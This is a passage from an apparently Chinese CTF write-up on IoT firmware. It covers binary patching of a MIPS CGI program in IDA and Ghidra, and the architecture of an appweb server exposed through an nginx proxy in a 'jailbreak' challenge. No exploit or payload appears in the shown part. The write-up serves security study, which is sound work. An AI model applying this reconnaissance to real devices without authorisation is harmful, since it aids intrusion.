patch子程序</p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• shell脚本监视子程序启动</p></li></ul><h4 style="font-size: 1em;letter-spacing: normal;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-weight: bold;margin: 2em 8px 0.5em;color: rgb(255, 118, 118);">patch法</h4><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  在patch过程有个坑是：对于diag.cgi是个mips架构由于流水线效应，分支指令后面一般跟着一条有效指令或者nop。而IDA在把原来不是分支指令patch为分支指令后会强制在后面填充一个<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">nop</code>，如下图所示：</p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.12907608695652173" data-s="300,640" style="" data-type="png" data-w="736" src="https://wechat2rss.xlab.app/img-proxy/?k=96d3e7b0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FLxlshmzkAkbNcB5wPgsosGwPP5FNbBwhxnbXudkk4SyaUsgJMaibOEUannxC3lyXQNr4iawONhDvHvOVvGVeI6iaA%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.2006841505131129" data-s="300,640" style="" data-type="png" data-w="877" src="https://wechat2rss.xlab.app/img-proxy/?k=d73553e6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FLxlshmzkAkbNcB5wPgsosGwPP5FNbBwhQpIia20A1HSfvsVXhVJjGDeZXWH9I3epPvMUSAXASFgS6oDOiccxWm4Q%2F640%3Fwx_fmt%3Dpng"/></p><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  然后在保存这个patched文件时IDA报错如下：</p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.1498371335504886" data-s="300,640" style="" data-type="png" data-w="614" src="https://wechat2rss.xlab.app/img-proxy/?k=07df7a78&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FLxlshmzkAkbNcB5wPgsosGwPP5FNbBwhdRc2EF2Q3JNHSMic0ctxpBZCoNyUesoGYZ2Nc81st6HUCXCrQiajyv4w%2F640%3Fwx_fmt%3Dpng"/></p><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  暂时没有看到有解决方法，因此使用ghidra来patch(参考<span style="line-height: 1.75;color: rgb(87, 107, 149);">【技术分享】IoT固件分析入门 - 网安 (wangan.com)</span>)：</p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.20304568527918782" data-s="300,640" style="" data-type="png" data-w="591" src="https://wechat2rss.xlab.app/img-proxy/?k=30fe72e2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FLxlshmzkAkbNcB5wPgsosGwPP5FNbBwhJWdibBOiaq4FhOicwr0TNz2m8bHdPV4p8hTPPSTic03VhUQFiaDQZ7RqTdw%2F640%3Fwx_fmt%3Dpng"/></p><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">需要从github上下载一个脚本来保存：<strong style="line-height: 1.75;color: rgb(255, 118, 118);">SavePatch.py</strong></p><h2 style="letter-spacing: normal;text-wrap: wrap;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;font-weight: bold;display: table;margin: 4em auto 2em;padding-right: 0.2em;padding-left: 0.2em;background: rgb(255, 118, 118);color: rgb(255, 255, 255);">jailbreak</h2><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  jailbreak对应的启动文件为<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">/etc/rc.d/S97jailbreak</code>，程序本体为<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">appweb</code>会监听本地7777端口。而该本地端口的访问由nginx监听转发外部端口59659完成，只有以<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">ejs</code>或者<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">php</code>结尾的URI的请求才行。</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;letter-spacing: normal;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space-collapse: collapse;"><span style="color: rgb(97, 174, 238);">#!/bin/sh /etc/rc.common</span><br/>START=97<br/>USE_PROCD=1<br/>PROG=/usr/bin/appweb<br/><span style="color: rgb(97, 174, 238);">start_service</span>() {<br/>    procd_open_instance<br/>    procd_set_param <span style="color: rgb(230, 192, 123);">command</span> <span style="color: rgb(152, 195, 121);">&#34;<span style="color: rgb(209, 154, 102);">$PROG</span>&#34;</span> <span style="color: rgb(152, 195, 121);">&#34;127.0.0.1:7777&#34;</span><br/>    procd_set_param respawn 3600 2 10000<br/>    procd_close_instance<br/>}<br/><span style="color: rgb(97, 174, 238);">reload_service</span>() {<br/>    procd_send_signal appweb<br/>}</code></pre><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;letter-spacing: normal;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space-collapse: collapse;"><span style="color: rgb(224, 108, 117);">server</span> { <br/><span style="color: rgb(92, 99, 112);font-style: italic;">#see uci show &#39;nginx._redirect2ssl&#39;</span><br/><span style="color: rgb(152, 195, 121);">listen</span> <span style="color: rgb(209, 154, 102);">59659</span>;<br/><span style="color: rgb(152, 195, 121);">listen</span> [::]:<span style="color: rgb(209, 154, 102);">59659</span>;<br/><span style="color: rgb(224, 108, 117);">location</span> <span style="color: rgb(152, 195, 121);">~* \.(ejs|php)$</span> {<br/>    <span style="color: rgb(152, 195, 121);">proxy_redirect</span> <span style="color: rgb(86, 182, 194);">off</span>;<br/>    <span style="color: rgb(152, 195, 121);">proxy_set_header</span> X-Real-IP <span style="color: rgb(209, 154, 102);">$remote_addr</span>;<br/>    <span style="color: rgb(152, 195, 121);">proxy_set_header</span> X-Real-PORT <span style="color: rgb(209, 154, 102);">$remote_port</span>;<br/>    <span style="color: rgb(152, 195, 121);">proxy_set_header</span> Host <span style="color: rgb(209, 154, 102);">$host</span>;<br/>    <span style="color: rgb(152, 195, 121);">proxy_set_header</span> Proxy <span style="color: rgb(152, 195, 121);">&#34;&#34;</span>;<br/>    <span style="color: rgb(152, 195, 121);">proxy_pass</span>   <a href="http://127.0.0.1:7777;" target="_blank">http://127.0.0.1:7777;</a><br/>    }<br/>}</code></pre><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  appweb是这道题的关键程序，所以先得了解他的架构。</p><h3 style="letter-spacing: normal;text-wrap: wrap;text-align: left;line-height: 1.2;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.1em;font-weight: bold;margin-top: 2em;margin-right: 8px;margin-bottom: 0.75em;padding-left: 8px;border-left: 3px solid rgb(255, 118, 118);color: rgb(63, 63, 63);">appweb</h3><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  appweb是一个专用于嵌入式环境的开源webserver。其特点为使用类似apache的配置文件，Pipeline流水线处理请求，动态模块加载。整个框架为：每个请求通过Pipeline流水线完成。在此基础上URI匹配，身份验证等通过读取配置文件查看需求。最后以在Pipeline上加载模块的方式进行数据处理。如下图：</p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.39203675344563554" data-s="300,640" style="" data-type="jpeg" data-w="653" src="https://wechat2rss.xlab.app/img-proxy/?k=2b37a55a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FLxlshmzkAkbNcB5wPgsosGwPP5FNbBwha9iblsGdibnyp2fHYwQUO7PJzrXvT1FjZ7eGxLOalCks4a4ia6vqGUBpw%2F640%3Fwx_fmt%3Djpeg"/></p><h4 style="font-size: 1em;letter-spacing: normal;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-weight: bold;margin: 2em 8px 0.5em;color: rgb(255, 118, 118);">配置文件</h4><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  文件系统中并没有appweb.conf文件，在其启动脚本中也没有指定。所以这里简单看看官方的一个例子即可：</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;letter-spacing: normal;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space-collapse: collapse;">Home &#34;.&#34;<br/>ErrorLog error.log<br/>ServerName <a href="http://localhost:7777" target="_blank">http://localhost:7777</a><br/>Documents &#34;/var/web&#34;<br/>Listen 7777<br/>LoadModule espHandler mod_esp<br/>AddHandler espHandler esp</code></pre><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  必须要用Home指定全局路径，还需要注意的就是<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">LoadModule</code>和<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">AddHandler</code>，首先从mod_esp(路径，一般是个so库)中加载espHandler模块然后指定对后缀为<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">esp</code>的使用。</p><h4 style="font-size: 1em;letter-spacing: normal;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-weight: bold;margin: 2em 8px 0.5em;color: rgb(255, 118, 118);">Pipeline</h4><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  pipeline可以看做一个双向管道，两端是client和handler中间可以防止多个模块(filter, connector)。其中包含了许多机制如队列，数据包，缓冲和事件调度。其中数据包只会在模块中直接传递而不会进行复制操作，这可以提升一定的效率。</p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.39203675344563554" data-s="300,640" style="" data-type="jpeg" data-w="653" src="https://wechat2rss.xlab.app/img-proxy/?k=2b37a55a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FLxlshmzkAkbNcB5wPgsosGwPP5FNbBwha9iblsGdibnyp2fHYwQUO7PJzrXvT1FjZ7eGxLOalCks4a4ia6vqGUBpw%2F640%3Fwx_fmt%3Djpeg"/></p><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  上图中的小方块被视为stage(s)，包括：Handlers，Filters，Network Connectors(这些都是模块)。handlers一般通过appweb配置文件动态加载，其用于动态生成响应数据(CGI方式依赖额外程序来生成)。filters在数据出入或传出handlers时操作数据(一般用于压缩或者加密数据)，比如appweb项目自身用filter模块实现 分块传输编码(Transfer Chunk Encoding)。Connectors是pipelin的最后一环，用于将数据包传给client。appweb提供两个分别是通用的<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">net connector</code> 和专门传静态文件的<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">send connector</code>。</p><h4 style="font-size: 1em;letter-spacing: normal;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-weight: bold;margin: 2em 8px 0.5em;color: rgb(255, 118, 118);">Handlers</h4><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  为了解决一个服务器完成难以完成各种要求的问题，appweb使用动态加载handler的方式来对其功能进行&#34;分块&#34;，来尽量满足定制化需求(有点像积木的意思)。可以通过动态库的形式动态加载或者从源码将模块静态编译进去。在conf文件中可以定义，对于不同的URI等配置不同的handler来实现动态加载模块进行处理。handlers可以存在多个，比如源码中若不指定conf文件<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">config.c</code>:</p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.7509259259259259" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=5340b332&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FLxlshmzkAkbNcB5wPgsosGwPP5FNbBwhlUOkELIsbpC2PPkkEbXOEeIEZ5WibU0ibzYcIibzt6GPAvxUw9uMiaMCWQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">大致对应如下配置文件：</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;letter-spacing: normal;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space-collapse: collapse;">LoadModule authFilter mod_auth<br/>AddHandler authFilter<br/>LoadModule cgiHandler mod_cgi<br/>AddHandler cgiHandler .cgi .cgi-nph .bat .cmd .pl .py<br/>LoadModule ejsHandler mod_ejs<br/>AddHandler ejsHandler .ejs<br/>LoadModule phpHandler mod_php<br/>AddHandler phpHandler .php<br/>LoadModule fileHandler mod_file<br/>AddHandler fileHandler</code></pre><h4 style="font-size: 1em;letter-spacing: normal;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-weight: bold;margin: 2em 8px 0.5em;color: rgb(255, 118, 118);">源码简析(V3.3.2)</h4><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  每个appweb例程所提供的服务(包括virtual host)都由<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">struct MaHttp</code>维护，结构如下：</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;letter-spacing: normal;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space-collapse: collapse;"><span style="color: rgb(198, 120, 221);">typedef</span> <span style="color: rgb(198, 120, 221);">struct</span> <span style="color: rgb(230, 192, 123);">MaHttp</span> {<br/>    MprHashTable    *stages;                <span style="color: rgb(92, 99, 112);font-style: italic;">/**&lt; Hash table of stages */</span><br/>    <span style="color: rgb(198, 120, 221);">struct</span> <span style="color: rgb(230, 192, 123);">MaServer</span> *<span style="color: rgb(230, 192, 123);">defaultServer</span>;         <span style="color: rgb(92, 99, 112);font-style: italic;">/**&lt; Default web server object */</span><br/>    MprList         *servers;               <span style="color: rgb(92, 99, 112);font-style: italic;">/**&lt; List of web servers objects */</span><br/>    MaLimits        limits;                 <span style="color: rgb(92, 99, 112);font-style: italic;">/**&lt; Security and resource limits */</span><br/>    <span style="color: rgb(92, 99, 112);font-style: italic;">/*<br/>     *  Some standard pipeline stages<br/>     */</span><br/>    <span style="color: rgb(198, 120, 221);">struct</span> <span style="color: rgb(230, 192, 123);">MaStage</span>  *<span style="color: rgb(230, 192, 123);">netConnector</span>;          <span style="color: rgb(92, 99, 112);font-style: italic;">/**&lt; Network connector */</span><br/>    <span style="color: rgb(198, 120, 221);">struct</span> <span style="color: rgb(230, 192, 123);">MaStage</span>  *<span style="color: rgb(230, 192, 123);">sendConnector</span>;         <span style="color: rgb(92, 99, 112);font-style: italic;">/**&lt; Send file connector */</span><br/>    <span style="color: rgb(198, 120, 221);">struct</span> <span style="color: rgb(230, 192, 123);">MaStage</span>  *<span style="color: rgb(230, 192, 123);">authFilter</span>;            <span style="color: rgb(92, 99, 112);font-style: italic;">/**&lt; Authorization filter (digest and basic) */</span><br/>    <span style="color: rgb(198, 120, 221);">struct</span> <span style="color: rgb(230, 192, 123);">MaStage</span>  *<span style="color: rgb(230, 192, 123);">rangeFilter</span>;           <span style="color: rgb(92, 99, 112);font-style: italic;">/**&lt; Ranged requests filter */</span><br/>    <span style="color: rgb(198, 120, 221);">struct</span> <span style="color: rgb(230, 192, 123);">MaStage</span>  *<span style="color: rgb(230, 192, 123);">cgiHandler</span>;            <span style="color: rgb(92, 99, 112);font-style: italic;">/**&lt; CGI handler */</span><br/>    <span style="color: rgb(198, 120, 221);">struct</span> <span style="color: rgb(230, 192, 123);">MaStage</span>  *<span style="color: rgb(230, 192, 123);">chunkFilter</span>;           <span style="color: rgb(92, 99, 112);font-style: italic;">/**&lt; Chunked transfer encoding filter */</span><br/>    <span style="color: rgb(198, 120, 221);">struct</span> <span style="color: rgb(230, 192, 123);">MaStage</span>  *<span style="color: rgb(230, 192, 123);">dirHandler</span>;            <span style="color: rgb(92, 99, 112);font-style: italic;">/**&lt; Directory listing handler */</span><br/>    <span style="color: rgb(198, 120, 221);">struct</span> <span style="color: rgb(230, 192, 123);">MaStage</span>  *<span style="color: rgb(230, 192, 123);">egiHandler</span>;            <span style="color: rgb(92, 99, 112);font-style: italic;">/**&lt; Embedded Gateway Interface (EGI) handler */</span><br/>    <span style="color: rgb(198, 120, 221);">struct</span> <span style="color: rgb(230, 192, 123);">MaStage</span>  *<span style="color: rgb(230, 192, 123);">ejsHandler</span>;            <span style="color: rgb(92, 99, 112);font-style: italic;">/**&lt; Ejscript Web Framework handler */</span><br/>    <span style="color: rgb(198, 120, 221);">struct</span> <span style="color: rgb(230, 192, 123);">MaStage</span>  *<span style="color: rgb(230, 192, 123);">fileHandler</span>;           <span style="color: rgb(92, 99, 112);font-style: italic;">/**&lt; Static file handler */</span><br/>    <span style="color: rgb(198, 120, 221);">struct</span> <span style="color: rgb(230, 192, 123);">MaStage</span>  *<span style="color: rgb(230, 192, 123);">passHandler</span>;           <span style="color: rgb(92, 99, 112);font-style: italic;">/**&lt; Pass through handler */</span><br/>    <span style="color: rgb(198, 120, 221);">struct</span> <span style="color: rgb(230, 192, 123);">MaStage</span>  *<span style="color: rgb(230, 192, 123);">phpHandler</span>;            <span style="color: rgb(92, 99, 112);font-style: italic;">/**&lt; PHP handler */</span><br/>    {...}<br/>}</code></pre><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  appweb提供的stages如上，在对该项目进行二次开发的时候可以<strong style="line-height: 1.75;color: rgb(255, 118, 118);">直接编写模块</strong>(库)，包括filter、handler、connector。然后在conf文件中加载模块并设置filter、handler、connector等如：</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;letter-spacing: normal;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space-collapse: collapse;">SetConnector netConnector<br/>&lt;if AUTH_MODULE&gt;<br/>    LoadModule authFilter mod_auth<br/>    #<br/>    #   The auth filter must be first in the pipeline before all handlers and<br/>    #   after the connector definition. Only needed on the output pipeline.<br/>    #<br/>    AddOutputFilter authFilter<br/>&lt;/if&gt;<br/>#<br/>#   Add other filters. Order matters. Chunking must be last.<br/>#<br/>&lt;if RANGE_MODULE&gt;<br/>    LoadModule rangeFilter mod_range<br/>    AddOutputFilter rangeFilter<br/>&lt;/if&gt;<br/>&lt;if CHUNK_MODULE&gt;<br/>    LoadModule chunkFilter mod_chunk<br/>    AddFilter chunkFilter<br/>&lt;/if&gt;<br/>#<br/>#   Include all other modules before the file module which is the catch-all.<br/>#<br/>Include conf/modules/*<br/>#<br/>#   The file handler supports requests for static files. Put this last after<br/>#   all other modules and it becomes the catch-all due to the empty quotes.<br/>#<br/>&lt;if FILE_MODULE&gt;<br/>    # PutMethod on<br/>    LoadModule fileHandler mod_file<br/>    AddHandler fileHandler .html .gif .jpeg .png .pdf &#34;&#34;<br/>&lt;/if&gt;</code></pre><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  其中<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">LoadModule</code>对应源码中<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">MprModule *maLoadModule(MaHttp *http, cchar *name, cchar *libname)</code>函数，libname就是模块的路径，name是模块名称(不是库文件名)。函数中调用<code 